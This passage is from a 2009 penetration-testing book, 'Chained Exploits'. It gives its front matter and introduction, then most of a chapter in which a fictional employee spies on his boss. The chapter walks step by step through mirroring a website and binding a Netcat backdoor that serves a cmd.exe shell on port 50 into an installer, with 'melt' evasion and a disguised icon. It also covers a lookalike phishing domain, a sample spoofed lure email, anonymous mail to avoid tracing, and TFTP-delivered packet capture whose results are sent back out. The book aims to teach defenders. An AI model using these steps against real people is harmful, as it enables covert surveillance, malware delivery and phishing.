



CHAINED EXPLOITS

Advanced Hacking Attacks
from Start to Finish



ANDREW WHITAKER
KEATRON EVANS
JACK VOTH

Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trademarks. Where those designations appear in this book, and the publisher was aware of a trademark claim, the designations have been printed with initial capital letters or in all capitals.

The authors and publisher have taken care in the preparation of this book, but make no expressed or implied warranty of any kind and assume no responsibility for errors or omissions. No liability is assumed for incidental or consequential damages in connection with or arising out of the use of the information or programs contained herein.

The publisher offers excellent discounts on this book when ordered in quantity for bulk purchases or special sales, which may include electronic versions and/or custom covers and content particular to your business, training goals, marketing focus, and branding interests. For more information, please contact:

U.S. Corporate and Government Sales
(800) 382-3419
corpsales@pearsontechgroup.com

For sales outside the United States please contact:

International Sales
international@pearson.com

Visit us on the Web: www.informit.com/aw

Library of Congress Cataloging-in-Publication Data

Whitaker, Andrew.

Chained exploits : advanced hacking attacks from start to finish /
Andrew Whitaker, Keatron Evans, Jack B. Voth.

p. cm.

ISBN 978-0-321-49881-6 (pbk.)

1. Computer security. 2. Computer networks--Security measures. 3.
Computer hackers. I. Evans, Keatron. II. Voth, Jack B. III. Title.

QA76.9.A25W44 2009

005.8--dc22

2009002128

Copyright © 2009 Pearson Education, Inc.

All rights reserved. Printed in the United States of America. This publication is protected by copyright, and permission must be obtained from the publisher prior to any prohibited reproduction, storage in a retrieval system, or transmission in any form or by any means, electronic, mechanical, photocopying, recording, or likewise. For information regarding permissions, write to:

Pearson Education, Inc.
Rights and Contracts Department
501 Boylston Street, Suite 900
Boston, MA 02116
Fax (617) 671-3447

ISBN-13: 978-0-321-49881-6

ISBN-10: 0-321-49881-x

Text printed in the United States on recycled paper at RR Donnelley, Crawfordsville, Indiana.

First printing February 2009

Associate Publisher

David Dusthimer

Executive Editor

Brett Bartow

Development Editor

Andrew Cupp

Managing Editor

Patrick Kanouse

Project Editor

Mandie Frank

Copy Editor

Mike Henry

Indexer

Lisa Stumpf

Proofreader

Geneil Breeze

Technical Reviewers

Ralph Echemendia

Kevin Henry

Publishing Coordinator

Vanessa Evans

Interior Designer

Louisa Adair

Book Designer

Louisa Adair

Composition

Bronkella Publishing LLC

Introduction

Whenever we tell people about the contents of this book, we always get the same response: “Isn’t that illegal?” Yes, we tell them. Most of what this book covers is completely illegal if you re-create the scenarios and perform them outside of a lab environment. This leads to the question of why we would even want to create a book like this.

The answer is quite simple. This book is necessary in the marketplace to educate others about chained exploits. Throughout our careers we have helped secure hundreds of organizations. The biggest weakness we saw was not in engineering a new security solution, but in education. People are just not aware of how attacks really occur. They need to be educated in how the sophisticated attacks happen so that they can know how to effectively protect against them.

All the authors of this book have experience in both penetration testing (hacking into organizations with authorization to assess their weakness) as well as teaching security and ethical hacking courses for Training Camp (www.trainingcamp.com). Many of the chapters in this book come from attacks we have successfully performed in real-world penetration tests. We want to share these so that you know how to stop malicious attacks. We all agree that it is through training that we make the biggest impact, and this book serves as an extension to our passion for security awareness training.

WHAT IS A CHAINED EXPLOIT?

There are several excellent books in the market on information security. What has been lacking, however, is a book that covers chained exploits and effective countermeasures. A chained exploit is an attack that involves multiple exploits or attacks. Typically a hacker will use not just one method, but several, to get to his or her target.

Take this scenario as an example. You get a call at 2 a.m. from a frantic coworker, saying your Web site has been breached. You jump out of bed, throw on a baseball cap and some clothes, and rush down to your workplace. When you get there, you find your

manager and coworkers frenzied about what to do. You look at the Web server and go through the logs. Nothing sticks out at you. You go to the firewall and review its logs. You do not see any suspicious traffic heading for your Web server. What do you do?

We hope you said, “Step back, and look at the bigger picture.” Look around your infrastructure. You might have dedicated logging machines, load-balancing devices, switches, routers, backup devices, VPN (virtual private network) devices, hubs, database servers, application servers, Web servers, firewalls, encryption devices, storage devices, intruder detection devices, and much more. Within each of these devices and servers runs software. Each piece of software is a possible point of entry.

In this scenario the attacker might not have directly attacked the Web server from the outside. He or she might have first compromised a router. From there, the attacker might reconfigure the router to get access to a backup server that manages all backups for your datacenter. Next the attacker might use a buffer overflow exploit against your backup software to get administrator access to the backup server. The attacker might launch an attack to confuse the intrusion detection system so that the real attack goes unnoticed. Then the attacker might launch an attack from the backup server to a server that stores all your log files. The attacker might erase all log files to cover his or her tracks, and then launch an attack from that server to your Web server. We think you get the point: Attacks are seldom simple. They often involve many separate attacks chained together to form one large attack. Your job as a security professional is to be constantly aware of the big picture, and to consider everything when someone attacks your system.

A skilled hacker acts much like the ants on the cover of this book. If you notice on the cover, the ants are in a line, each separate, but part of a chain. Each ant also takes something for its own use, like a hacker stealing information. Ants also tend to do most of their work without anyone seeing them, just as skilled hackers do their work without observation. Use this book as your pesticide; learn where the hackers are hiding so that you can eliminate them and stop them from gaining access to your organization.

FORMAT OF THE BOOK

This book makes use of a fictional character named Phoenix. You do not need to read the chapters in any particular order, so if you want to jump into a topic of interest right away, go for it. Each chapter begins with a “Setting the Stage” section where we explain the scenario that is the basis behind Phoenix’s motivation for attack. You’ll learn how common greed or the desire for revenge can lead to sophisticated attacks with serious consequences.

Each chapter continues with a section titled “The Chained Exploit,” which is a detailed, step-by-step approach used by our fictitious character to launch his attack. As you read through this section, you will learn that an attack is more than just using one software tool to gain access to a computer. Sometimes attacks originate from within an organization, whereas other times attacks begin from outside the organization. You will even learn about compromising physical security and social engineering as means to achieving Phoenix’s goal.

Each chapter concludes with a “Countermeasures” section filled with information that you can use to prevent the chained exploit discussed in the chapter. You should compare this information with your own security policies and procedures to determine whether your organization can or should deploy these countermeasures.

NOTE

Many of the organizations and Web sites mentioned in the scenario portions of this book are fictitious and are for illustrative purposes only. For example, in Chapter 2, “Discover What Your Boss Is Looking At,” the certificationpractice.com site Phoenix copies for his phishing site does not really exist, although many like it do.

ADDITIONAL RESOURCES

There were many things we wanted to include in this book but could not due to time restraints. You can find more information about chained exploits by visiting www.chainedexploits.com. That Web site contains additional information about chained exploits and any errata for this book.

DISCLAIMER

The attacks in this book are illegal if performed outside a lab environment. All the examples in this book are from the authors’ experience performing authorized penetration tests against organizations. Then the authors re-created the examples in a lab environment to ensure accuracy. At no point should you attempt to re-create any of these attacks described in this book. Should you want to use the techniques to assess the security of your organization, be sure to first obtain written authorization from key stakeholders and appropriate managers before you perform any tests.

Discover What Your Boss Is Looking At

SETTING THE STAGE

Phoenix clenches his fists as he reads the memo on his desk. This is the last straw, Phoenix thinks to himself as he crumples the memo up and throws it away. It is a memo from his boss, Mr. Minutia, explaining that it has come to his attention that several employees are using their computers to send out personal e-mails. Phoenix's boss would monitor all e-mail. Should he discover an e-mail that is not work related, human resources would reprimand the employee who sent it.

The memo does not stop there, however. It goes on to state that employees have been surfing the Internet for personal use during work hours, which is against company policy. As a result Phoenix is no longer allowed to delete his Web browser's history so that his boss can come by and periodically check it.

Phoenix knows that Mr. Minutia has been spying on him for some time now. Phoenix sees Mr. Minutia at his desk, shuffling through papers, whenever he leaves his desk to go to the copy machine. Phoenix notices Mr. Minutia walk over to his desk whenever he is on the phone to eavesdrop on his conversations. Now Mr. Minutia has taken it to the next step by reading all of Phoenix's e-mails and reviewing the Web sites Phoenix views.

The word *hypocrite* echoes in Phoenix's mind. He knows his boss spends the majority of his time at work surfing the Internet. Phoenix is not sure what his boss is looking at, but Phoenix is determined to find out because he suspects it might not be work related. Then Phoenix can approach Mr. Minutia with a taste of his own medicine and expose his Internet-surfing habits. Phoenix begins to plot how he is going to spy on his boss.

Figure 2.1 illustrates Phoenix's office scenario.




Figure 2.1 Topology diagram for scenario

THE APPROACH

Like most of the attacks in the book, there is more than one method to launch Phoenix’s attack. Phoenix’s goal is essentially to monitor traffic to and from Mr. Minutia’s machine. When deciding on a method, Phoenix needs to factor in how “loud” that method is going to be on the network. Attacks easily detected by intrusion detection or prevention systems (IDS/IPS) are “noisy” or “loud” because they trigger alarms and notify administrators of their existence. There are times when an attacker wants to be noisy, such as when launching a diversion attack to distract administrators while launching a stealthier attack, but the majority of the time an attacker wants to perform an attack that is not easily spotted by IDS/IPS software. Phoenix wants his attack to be precisely targeted and quiet.

WHEN IS A LOUD APPROACH USEFUL?

A loud method will most likely sound alarms on intrusion detection or intrusion prevention devices, but sometimes it is the only option to view traffic on a network. A loud approach is useful when an attacker wants to view all traffic on a network. To learn more about loud options an attacker has to view switched traffic, see the “For More Information” section later in this chapter.

Most networks use switches, but switches send traffic to and from only the devices that need to communicate with each other. Other devices would not necessarily be privy to communication between other computers, so Phoenix will not be able to see this traffic without a planned attack.

To understand Phoenix's attack method, you need to understand how switches work. In Figure 2.2, when User A sends a frame to User B, the switch records the source MAC (Media Access Control) address of User A in its MAC address table. It then looks up the destination MAC address (User B) in its table. If it does not have the destination MAC address in its table, the switch forwards the frame out all ports (Fa0/2 and Fa0/3, in this example).




Figure 2.2 Switch operations, part I

Now examine Figure 2.3. In this figure, User B is sending traffic back to User A. The switch will record the source MAC address (User B) in its MAC address table and look up the destination MAC address (User A). Because it already has an entry for User A, it forwards the frame only out Fa0/1 to User A. User C, connected to Fa0/3, will not receive any of the traffic between User A and User B. If Phoenix is User C, he will not be seeing Mr. Minutia's traffic. But he is going to change this.




Figure 2.3 Switch operations, part 2

If you are User C and you want to see the traffic between User A and User B, there are several loud methods you can undertake:

- Gratuitous address resolution protocol (ARP) messages for individual hosts (ARP poisoning)
- MAC spoofing
- MAC flooding

You can learn more about these loud methods in the next section, but Phoenix’s approach is different.

As an alternative to the loud approach, Phoenix can take a quieter approach to avoid detection. Because Phoenix wants to capture the traffic of only a single user (his boss), Phoenix does not need to perform ARP poisoning, MAC spoofing, or MAC flooding.

Instead, Phoenix needs to chain several exploits to get Mr. Minutia inadvertently to install packet capturing software on his computer. His boss will not blindly install software he does not recognize, so Phoenix will first set up a phishing scam to trick his boss into installing software he thinks is legitimate. A phishing scam is when a user is tricked to go to a Web site that looks like a legitimate Web site, but in fact is run by a malicious hacker. Phishing scams are often used to capture login information because the user logs in to the Web site thinking it is a trusted site, but Phoenix’s will use the scam to have his manager download software that appears legitimate.

The software Mr. Minutia downloads from the phishing site will be bound with a Trojan horse application that Phoenix will use to establish a backdoor into his manager's computer. His boss will have no idea that the Trojan is installed. After connecting, Phoenix will use the Trivial File Transfer Protocol (TFTP) to download a command-line packet-capturing tool. This tool will capture traffic to a log file that Phoenix will transfer back to his computer. Back on his computer, Phoenix will open up the log file and see what his boss is doing. Because his boss will have transferred images as well as text across the network, Phoenix will reassemble the image file using a hex editor so that he can see the pictures his boss is viewing.

In summary, the steps Phoenix will take are

1. Copy a Web site and host it on Phoenix's server.
2. Bind a backdoor Trojan (Netcat) with legitimate executable.
3. Send e-mail to his boss, Mr. Minutia, requesting that he download the free executable. His manager will install the executable and, subsequently, install Netcat.
4. Use Netcat to connect to his manager's machine.
5. Use TFTP to download WinDump onto his manager's machine.
6. Capture traffic as his manager goes to a Web site.
7. Analyze traffic sent to and from his manager's computer using Wireshark.
8. Use a hex editor to rebuild a graphic (.JPG) captured by WinDump.

FOR MORE INFORMATION

Even though they are not the approach Phoenix is taking, this section provides some more information on three loud options an attacker has to view switched traffic:

- Gratuitous ARP messages for individual hosts (ARP poisoning)
- MAC spoofing
- MAC flooding

This list is by no means exhaustive. There are other techniques including variations of ARP poisoning and port mirroring (SPAN [switched port analyzer]). For more information on those, you can see Chapter 10, "Attacking the Network," in the book *Penetration Testing and Network Defense* by Andrew Whitaker and Daniel P. Newman (Cisco Press, 2006).

Figure 2.4 illustrates the first method, ARP poisoning. Here Phoenix sends out a gratuitous ARP message for each of the hosts that he wants to monitor. A gratuitous ARP is an unsolicited ARP message. Normally if UserA wanted to communicate to UserB (10.0.0.12), it would first send out an ARP request to the network asking for the MAC address of 10.0.0.12. Upon hearing the ARP request, UserB would send out an ARP reply with its MAC address. Phoenix can intercept all traffic sent to UserB by sending out an unsolicited ARP response announcing Phoenix’s MAC address for 10.0.0.12. Phoenix can view the traffic going to other hosts by sending gratuitous ARP messages for each of the hosts on the network.




Figure 2.4 Gratuitous ARP messages

The second method—a variation of ARP poisoning—is to spoof the MAC address of a host (see Figure 2.5). This is commonly done for the default gateway, or router, on a network. In this example, Phoenix (UserC) spoofs the MAC address of the router. Whenever Phoenix hears an ARP request for 10.0.0.1, he replies with the same MAC address of the router. When a frame is sent from UserA to the Internet, it will go to the MAC address 0040:5B50:387E. The switch, seeing the router’s MAC address go out both Fa0/3 and Fa0/4, sends the frame to both the router and Phoenix’s computer. This approach will not show Phoenix all the traffic on your network, but it will show him the traffic destined out of your network.




Figure 2.5 MAC spoofing

The third technique is MAC flooding. As you've already learned, switches maintain a MAC address table. The MAC table reduces flooding by sending traffic out only the appropriate ports. By flooding the MAC table with thousands of bogus MAC addresses, it will no longer have entries for legitimate hosts. Subsequently, it will cause the switch to operate like a hub and forward all traffic out all ports. This makes it easy for Phoenix, the attacker, to spy on all traffic—even if it was not intended for his machine. Figure 2.6 shows a screen shot of MACOF (<http://monkey.org/~dugsong/dsniff/>), which is one of many tools you can use to flood a switched network.




Figure 2.6 MAC flooding

Although these three methods are too loud for Phoenix’s purposes, they do serve to highlight some fundamentals of switched traffic that attackers can exploit. The next section begins the detailed discussion of Phoenix’s chained exploit.

THE CHAINED EXPLOIT

This section includes the details of each step in Phoenix’s chained exploit, including

- Phishing scam
- Installing executables
- Setting up the phishing site

- Sending Mr. Minutia an E-mail
- Finding the boss's computer
- Connecting to the boss's computer
- WinPcap
- Analyzing the packet capture
- Reassembling the graphic
- Other possibilities

The section ends with a summary of this chained exploit.

PHISHING SCAM

Phoenix's first step is to perform the phishing scam to trick Mr. Minutia into downloading software wrapped with Netcat. Netcat is a backdoor Trojan horse application Phoenix will use to connect to his manager's computer.

Copying a Legitimate Web Site

First Phoenix needs to find a Web site that he knows will interest his boss. Phoenix has heard his boss talk about how he wants to attempt the Cisco CCNA certification exam, so Phoenix decides to use a Web site called `certificationpractice.com` that is offering free CCNA practice exam software for a limited time as part of a promotional offer (see Figure 2.7).

NOTE

`certificationpractice.com` is not a real Web site at the time of this writing. It is simply used for illustration purposes in this chapter.




Figure 2.7 certificationpractice.com Web site

To begin, Phoenix needs to copy down the Web site to his own Web server. One of the more popular utilities for doing this is Wget (www.gnu.org/software/wget/). Wget is a command-line utility with many powerful options (see www.gnu.org/software/wget/manual/wget.html for a list of options). In Phoenix’s case, he chooses the following syntax:


```
wget -m -r -l 12 www.certificationpractice.com
```

The switches do the following:

- **-m**—Mirror the Web site.
- **-r**—Recursively pull down any pages linked to the first page.

- -l 12—Pull down pages only within 12 hyperlinks of the first page. If Phoenix does not set this to a reasonable boundary, he can end up downloading a significant amount of Web pages. If it is too small, he will not copy enough of the site to replicate it on his server.

This command results in copying the Web site to a directory called `www.certificationpractice.com` on his local hard drive. This also saves a copy of the `ccna.exe` executable (see Figure 2.8), which he will bind with a Trojan.



```
Select C:\WINNT\system32\cmd.exe
3900K -> ..... [ 96%]
3950K -> ..... [ 97%]
4000K -> ..... [ 98%]
4050K -> ..... [ 99%]
4100K -> ..... [100%]

16:02:18 (1.34 MB/s) - 'www.certificationpractice.com/Section1/ccna.exe' saved [
4206592/4206592]

--16:02:18-- http://www.certificationpractice.com:80/images/imagehere.png
-> 'www.certificationpractice.com/images/imagehere.png'
Connecting to www.certificationpractice.com:80... connected!
HTTP request sent, awaiting response... 200 OK
length: 4,354 image/png!

 0K -> .... [100%]

16:02:18 (4.15 MB/s) - 'www.certificationpractice.com/images/imagehere.png' save
d [4354/4354]

FINISHED 16:02:18
Downloaded: 4.373.329 bytes in 16 files
C:\>_
```

Figure 2.8 Wget

Like many install executables, this software is a zipped executable. Instead of double-clicking the executable, Phoenix unzips it using WinZip. Figure 2.9 shows an example of right-clicking the executable, which brings up a menu with an option to extract the files. Phoenix needs to extract them because he will be using the files contained in the zipped executable to create a new executable wrapped with the back door utility.




Figure 2.9 Extracting the executable

After extracting the files, Phoenix renames setup.exe file to another name, such as backup.exe. Phoenix will be creating a new setup.exe later.

INSTALLING EXECUTABLES

Many install executables contain both a setup.exe file and a setup.lst file that the setup.exe file references. If you rename the setup.exe file to something else, be sure to make a copy of the setup.lst file with the same name. For example, if you rename setup.exe to backup.exe, make a copy of setup.lst called backup.lst.

Binding the Back Door Trojan with the Executable

Binding a Trojan with a legitimate executable is a common method hackers employ to trick users into installing malware onto their computers. These binding programs, also called Trojan wrappers, will combine the original program with a Trojan program and create a new executable. In this example, Phoenix uses Yet Another Binder (YAB), which was originally found at areyoufearless.com. (This site no longer hosts YAB, but you can find this free utility through file-sharing services such as BitTorrent or another hacking Web site such as astalavista.net or packetstormsecurity.org.)

On starting YAB, Phoenix sees the screen shown in Figure 2.10.




Figure 2.10 Yet Another Binder

Phoenix clicks the plus sign to bring up the Add Bind File Command screen shown in Figure 2.11.




Figure 2.11 Adding Netcat

Phoenix sets up the options in Table 2.1 to prepare his Trojan for binding:

Table 2.1 Yet Another Binder Options

Option	Value	Description
Select command to add:	Bind File	This option enables you to bind a file to another.
Source File Path:	C:\nc.exe	This is the path to Phoenix's Netcat Trojan.
Execution Method:	Execute asynchronously	This option installs the Trojan separately from the main executable. Sometimes trying to launch them both at the same time (synchronously) might cause problems, so asynchronous execution is a safer option.
Execution Parameters:	-p 50 -e cmd.exe -L	This option configures Netcat to listen (-L) in the background for incoming connections to TCP port 50. The -e cmd.exe option tells Netcat to execute the MS-DOS command shell.

Optionally, Phoenix can select to launch the Trojan again when the computer starts up by setting the **Registry Startup Method** option. For example, Phoenix can configure it to load in HKEY_LOCAL_MACHINE\Microsoft\Windows\Current Version\Run so that the Trojan will launch every time the computer starts. The default value is not to modify the Registry.

Phoenix clicks **OK** after he finishes configuring Netcat. Next Phoenix adds the legitimate program by clicking the plus sign again to add it. He selects **Execute File** in the **Select command to add** drop-down box (see Figure 2.12). He enters the complete path to the backup.exe executable file, leaves the other options at their default, and then clicks **OK**.

Before Phoenix binds the two files together, he first makes sure that all traces of the Netcat executable will be removed after it launches. This helps to prevent users from detecting his malware on their computer. Trojan wrappers often have this option to melt, or remove, all traces of the malware executable after the software is running in RAM. Although choosing to melt the file is ideal to avoid detection, it does have a side effect: If the file is gone, Phoenix cannot launch it again when the computer starts up. He chooses to melt Netcat by going to the **Options** menu and choosing **Melt Stub After Execution** (see Figure 2.13).




Figure 2.12 Adding the executable




Figure 2.13 Melt Stub After Execution option

To make this Trojan appear legitimate, Phoenix selects an icon that looks like a standard install program. In the Icon Preview box, he clicks **(none)** to bring up the Change Icon dialog box. From here, he chooses an icon that looks like a standard install program. Icon 7 and Icon 8 are two good options (see Figure 2.14).




Figure 2.14 Choosing an icon

Now Phoenix is ready to bind the stub (Netcat) to the executable (backup.exe). He clicks the **Bind File** button. He now has his Trojan program, which he saves as setup.exe.

Because the installation is dependent on many other files, Phoenix needs to create a self-extracting archive that bundles all the files necessary for installation. He launches WinZip Self-Extractor and chooses **Self-extracting Zip file for Software Installation** (see Figure 2.15).



Figure 2.15 WinZip self-extractor

Phoenix selects **Unzip automatically** (see Figure 2.16) so that the archiving is transparent to the user. When the wizard prompts him for the name of the executable to launch when the unzipping process is complete, he chooses **setup.exe** (see Figure 2.17). When his boss launches the CCNA program, it will unzip the files and run `setup.exe`, which will install both the legitimate practice test software and Netcat. Netcat will run in the background and listen for incoming connections on TCP (Transmission Control Protocol) port 50.



Figure 2.16 Choosing to unzip automatically




Figure 2.17 Executing setup.exe on completion

SETTING UP THE PHISHING SITE

Phoenix now has created his new program to host on his phishing Web site. He gives his file the same name as the original program (ccna.exe) from the legitimate Web site, and copies it to the same directory where the first ccna.exe was located (overwriting it). He will need to copy all the phishing Web site files to a Web server that can host them. To make the phishing scam appear as legitimate as possible, he decides to register a domain name that is similar to the original Web site. The original Web site is certificationpractice.com, so he registers the domain certification-practice.com. Now he has a fully functional Web site with a name similar to that of the original Web site, along with a new Trojan that appears to be a legitimate practice test application.

WARNING

By reusing the same Web site, Phoenix has broken copyright law. In addition, he might face further prosecution for any other instances of people downloading and running the malware that he created.

SENDING MR. MINUTIA AN E-MAIL

Phoenix has copied a Web site, created a Trojan, and hosted a new Web site with a link to his Trojan. All of this won't help him unless he can somehow direct his boss, Mr. Minutia, to visit and download his Trojan. The easiest way to do this is to send a spoofed e-mail to his boss that appears to come from the Web site Phoenix hosts. When his boss looks in the e-mail's **From:** field, he should see an e-mail address coming from the certification-practice.com domain and not Phoenix's e-mail address. Mr. Minutia can discover the real e-mail address only by looking at the e-mail header. Reading the e-mail header is something few people know how to do, and, even if they do, most rarely look at in their e-mail software.

Although Phoenix could send an e-mail using his e-mail client at his workplace, this would make it easy for him to be tracked down in the event that someone does look in the e-mail header. To cover his tracks, he uses an anonymous e-mail service such as mail.com. His steps, then, are as follows:

1. Register an anonymous e-mail at mail.com.
2. Create an e-mail that entices his boss to visit the phishing Web site and download the CCNA executable bound with the Trojan.
3. Change the **From:** field to an e-mail address with the certification-practice.com domain.

Registering an anonymous e-mail at mail.com is easy. Phoenix goes to www.mail.com and signs up for its free, anonymous e-mail. Unlike many e-mail services that require you to enter an alternative e-mail address, your postal address, or other personal information, sites such as mail.com do not. This anonymity protects Phoenix from investigators being able to track him down.

NOTE

If a hacker wants further protection, the hacker can go through an anonymous proxy server. Anonymization.net and TorPark are two such proxies.

Next, Phoenix uses the mail.com instructions to configure his e-mail client. He decides on Outlook Express.

You might be wondering why Phoenix needs to have an anonymous e-mail account if he is going to change the **From:** field. Changing the **From:** field is enough to trick the user, but not enough to trick an investigator looking in the e-mail header. To hide his identity, Phoenix changes both the **From:** field and uses an anonymous e-mail service.

Phoenix now creates an e-mail that should be convincing enough to socially engineer his boss into visiting his site and downloading the Trojan. A good phishing scam e-mail should follow these guidelines:

- **The e-mail should be checked for grammatical and spelling mistakes**—People are less likely to trust an e-mail with many typographical errors because it appears unprofessional.
- **The e-mail should offer something free**—Everyone likes something free.
- **The e-mail should explain why the victims are getting something for nothing**—People know that nothing is really “free” and that there must be a catch. Without the justification for the free item, the victims might become suspicious. They might not necessarily think it is a phishing scam, but they might suspect that they are being tricked into something against their will. If a hacker advertises something at no cost, the victims will want to know why they are supposedly getting something free.

- **The e-mail should leave the unsuspecting users feeling good about themselves—** The e-mail is essentially a marketing campaign trying to get the victim to download the software. With information technology professionals (such as Phoenix’s boss, in this scenario), the best approach is to leave them feeling that if they use the product they will be smarter and more successful than if they do not use the product.
- **The e-mail should be brief—**People are less likely to read a long e-mail than a short one. Phoenix wants to keep the e-mail short to increase the chance of his boss reading it.

The following is a suggested e-mail that meets these objectives:

Subject: Free CCNA Practice Test Software

Dear Mr. Minutia,

Download your free CCNA practice test today while it lasts!

As an IT professional, you know being industry certified dramatically increases your net worth, your technical ability within your organization, and recognition from your colleagues. Our research has shown that professionals with the CCNA certification earn 15% more on average than those without the certification.


For a limited time, Certification Practice Exams is pleased to offer all registered cisco.com users free CCNA practice test software. This is a \$129 value! Why would we be willing to give away so much free? It’s simple. When you use our software to pass the CCNA exam on your first try, we’re confident Certification Practice Exams will be your destination for future Cisco certification practice tests. We ask only that, after you pass your exam, you consider us for all future practice test needs.

To download your free CCNA practice test, go to <http://www.certificationpractice.com/ccna> and click the CCNA.exe link.

Sincerely,

Certification Practice Exams

You might have noticed that the Web site URL is for the legitimate Web site and not the new phishing Web site that Phoenix created. This is intentional. Although Phoenix could have put in his domain name, a good phishing scam appears as legitimate as possible. This e-mail references the original Web site, but Phoenix has changed the HTML code to link to the phishing site. To do this, Phoenix goes to the source code of the e-mail and changes the link to point to his Web site at <http://www.certification-practice.com/ccna> (see Figure 2.18). That way the e-mail text refers to the real Web site, but the code directs Phoenix's boss to the fake Web site. When he's on Phoenix's Web site, Mr. Minutia will probably never notice that the Web site is different. And, even if he does, it is close enough to the real Web site domain that he probably will not even care.



Phishing Web site link

Figure 2.18 Changing the link

To further encourage his boss, Phoenix approaches him and mentions that he has been thinking about going for the CCNA certification. By mentioning this certification, Phoenix drops a subtle suggestion in his boss's mind about the certification exam. Gentle suggestions can go a long way toward social engineering the boss into downloading this software. Phoenix remarks, "I received an e-mail from one of those practice test companies today.

Did you get one? I haven't checked it out yet, but it looks like a really good site." Because Mr. Minutia is a competitive person by nature, Phoenix takes this a step further and entices him to download the software by saying, "You know, I bet you I'll finish my CCNA before you. I think I'll go looking for some practice exam software tonight to start preparing."

Phoenix sends the e-mail, sits back, and waits. After he receives the e-mail, Mr. Minutia will be enticed to download Phoenix's software. Both the legitimate practice test and Netcat will install on Mr. Minutia's machine during the installation process. Netcat will be listening on port 50 for Phoenix's boss's machine to connect.

FINDING THE BOSS'S COMPUTER

The next step is to discover the IP address used on Mr. Minutia's computer. One method is to use a software tool called Angry IP Scanner (www.angryziber.com/ipscan/), which scans a range of IP addresses to discover which hosts are active. See Figure 2.19 for an example of scanning the 192.168.1.0/24 range.




Figure 2.19 Angry IP Scanner

Now that Phoenix has a list of hosts on the network, he can use a port scanner to determine which hosts are listening on port 50 (the port he configured Netcat to listen on). Phoenix chooses Angry IP Scanner. Figure 2.20 shows the output of its port scanner. Notice that port 50, the port he specified Netcat to listen on, is open.




Figure 2.20 Angry IP Scanner port scanner output

CONNECTING TO THE BOSS'S COMPUTER

The boss's computer is 192.168.1.5. Now that Phoenix knows the IP address and has verified that TCP port 50 is open, he can connect to Mr. Minutia's machine. Phoenix opens an MS-DOS command prompt on his computer and navigates to the directory where he has a copy of Netcat. He types in the following command to connect to his boss's machine:

```
nc 192.168.1.5 50
```

Phoenix verifies the connection to his boss’s computer using the built-in ipconfig utility. It shows 192.168.1.5 (the IP address of his boss’s computer), so he successfully connected to Mr. Minutia’s computer (as shown in Figure 2.21).




Figure 2.21 Connecting to Mr. Minutia’s computer

Phoenix’s next step is to download a packet-capturing software program onto Mr. Minutia’s machine. He decides on a command-line program because he cannot view a graphical user interface (GUI) remotely with Netcat. Because Windows comes with a TFTP client, Phoenix can set up a TFTP server on his computer and download a packet-capturing software program onto Mr. Minutia’s computer. Phoenix uses the TFTP server available at Sysinternals (www.sysinternals.com). Phoenix prefers this software because it is free and he does not need to perform any configuration; simply launching the program is enough. Phoenix also downloads WinDump (www.winpcap.org/windump), a popular packet-capturing program, and places it in the TFTP-Root directory (the default directory used by Sysinternals TFTP server program).

Phoenix goes back to the Netcat connection on his boss’s computer. From there, he downloads WinDump from his computer. The syntax for the Windows TFTP client is

```
tftp [-i] host [put | get] source destination
```

The `-i` switch configures the TFTP client to do a binary transfer (WinDump is a binary file, so this is the appropriate option to use). Phoenix's IP address is 192.168.1.6, so he types the following on his boss's computer to download WinDump:

```
tftp -i 192.168.1.6 get windump.exe windump.exe
```

Next Phoenix launches WinDump, which has many options. The options are case sensitive, so he needs to be careful when typing in commands so that he does not mistype and cause the program to hang. Phoenix is concerned only about the following options:

- `-c count`—This option captures only a certain number of packets. Without this option, WinDump continues to capture software and fills the log file.

- `-s snaplength`—This option specifies the length of the packets captured. Without this option, some packets will be cut off and Phoenix will not be able to reassemble them.

- `-w filename`—This option logs all captured packets to a log file.

Typing the following on his boss's computer will capture up to 1,000 packets and send them to the file `capture.log`:

```
windump -c 500 -s 1500 -w capture.log
```

Now the waiting game begins. Phoenix must wait until his boss sends or receives 500 packets. Phoenix knows when this occurs because WinDump stops running and returns him to a command prompt.

WINPCAP

WinDump, like most packet-capturing software, requires the use of the Windows Packet Capture library (WinPcap). WinPcap is available at www.winpcap.org at no cost. Many network utilities use this library, so in a situation like the one in this chapter, chances are good that a network manager working in information technology already has WinPcap installed.

If the network manager does not have WinPcap installed, Phoenix must copy the files and manually install them. Normally, WinPcap uses a graphical install, but using Netcat to connect to a command-line interface of his boss's computer will not allow Phoenix to view a graphical install utility.

In the event that Phoenix has to install WinPcap using the command line, he takes the following steps:

1. He downloads WinPcap, but does not install it. Instead, he uses WinZip to unzip the self-extracting executable.
2. Using TFTP, Phoenix copies `daemon_mgm.exe`, `NetMonInstaller.exe`, `npf_mgm.exe`, `rpcapd.exe`, and `Uninstall.exe` to a directory such as `C:\Program Files\WinPcap` on his boss's computer.
3. Copies `netnm.pnf` to `c:\windows\inf`.
4. Copies `packet.dll`, `pthreadvc.dll`, `wanpacket.dll`, and `wpcap.dll` to `c:\windows\system32`.
5. Copies `npf.sys` to `c:\windows\system32\drivers`.
6. Navigates to the directory created in step 2 and runs these commands:

```
npf_mgm.exe -r
```

```
daemon_mgm.exe -r
```

```
NetMonInstaller.exe i
```

Phoenix would now have the Windows Packet Capture library installed on his boss's computer.

ANALYZING THE PACKET CAPTURE

When WinDump finishes, Phoenix should have captured enough packets to reconstruct whatever his boss has been doing across the network. He doesn't get too excited, though, because he knows he must first copy the log file over to his computer. He uses TFTP just as he did earlier to transfer the file. This time, though, he will be transferring a file from Mr. Minutia's computer to his computer. Phoenix types the following command on his boss's computer to transfer the file:

```
tftp -i put 192.168.1.6 capture.log
```

If Phoenix tries to open the log file in a text editor, he will discover it is difficult to read. To make it easier to interpret the output, Phoenix is going to import the log file into Wireshark (formerly Ethereal), which is available at www.wireshark.org. Launching Wireshark, he goes to the **File** menu, chooses **Open**, and selects the capture.log file. Figure 2.22 shows sample output of what Phoenix might discover from this file.




Figure 2.22 Wireshark

Now Phoenix starts to see something interesting. Notice in the highlighted portion that there is an HTTP (HyperText Transfer Protocol) request to GET a file called `gambling.jpg`. Could it be that his boss is going to gambling sites during work hours? To find out, Phoenix must follow the TCP stream and reassemble the file.

By right-clicking the HTTP GET request, Phoenix can choose the option **follow TCP stream**. Doing so brings up the window shown in Figure 2.23.





Figure 2.23 Following a TCP stream

The beginning of this output shows an HTTP GET request followed by the response from a Web server. His boss was apparently browsing the Web during the time Phoenix was capturing packets. Phoenix wants to see any graphics that were on the Web page his boss was looking at. Unfortunately, graphics are binary files, so he will not be able to view the image. Phoenix isn't worried, though, because he can reassemble the image using a hex editor.

REASSEMBLING THE GRAPHICS

